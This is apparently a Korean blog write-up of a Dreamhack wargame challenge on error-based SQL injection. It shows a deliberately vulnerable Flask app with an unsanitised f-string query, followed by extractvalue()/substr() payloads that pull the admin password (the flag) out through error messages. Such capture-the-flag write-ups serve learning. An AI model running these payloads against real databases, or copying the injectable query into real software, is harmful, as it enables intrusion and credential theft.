반응형
문제 설명
Simple Error Based SQL Injection !
코드 분석
deploy / app.py
template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
'''
@app.route('/', methods=['POST', 'GET'])
def index():
uid = request.args.get('uid')
if uid:
try:
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
return template.format(uid=uid)
except Exception as e:
return str(e)
else:
return template
- uid를 쿼리 스트링으로 입력받음
- uid 값이 그대로 쿼리 문자열에 들어감
- 에러 메시지가 그대로 노출됨
deploy / init.sql
USE `users`;
CREATE TABLE user(
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
- admin, guest, test 있고 admin의 upw에 플래그가 들어가 있음
즉 admin의 upw를 가져오면 플래그 획득
취약점 분석
- uid를 그대로 쿼리 문자열에 들어가 SQL Injection 가능
- 에러 메시지가 그대로 노출되어서 error based SQL Injection 가능
익스플로잇
먼저 SQL Injection 확인을 해봄
uid에 ' admin -- 을 입력

다음과 메시지가 나오는데 SQL 문법 오류라고 뜸. SQL이 실행되기는 한다는 뜻인데 에러를 발생시킴
에러 메시지는 화면에 출력한다는 힌트를 얻었으니 앞서 배운 extractvalue()로 에러를 발생시킴
' and extractvalue(1, concat(0x3a,'OK')) -- -
다음과 같은 구문을 만들어주고 화면에 :OK가 뜨면 성공

앞서 user 테이블 쓰는 것도 확인했음
따라서 총 페이로드를 작성해주면
' and extractvalue(1, concat(0x3a,(select upw from user where uid='admin'))) -- -
- admin의 upw가 플래그이니까 문자열을 합쳐주면 됨

문자열이 잘리는 것을 봐서 substr() 함수로 나눠서 추출
' and extractvalue(1, concat(0x3a, substr((select upw from user where uid='admin'),1,20))) -- -
' and extractvalue(1, concat(0x3a, substr((select upw from user where uid='admin'),20,40))) -- -
두 페이로드를 각각 써주면


앞에서 20번째 글자가 서로 겹치니 21로 하셔도 되고 8을 한번 빼도 됩니다.
플래그 획득
반응형
'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글
| sql injection bypass WAF (0) | 2026.02.06 |
|---|---|
| Command Injection Advanced (0) | 2026.02.06 |
| easy client side (0) | 2026.02.03 |
| easy server side (0) | 2026.02.03 |
| php-1 (0) | 2026.02.02 |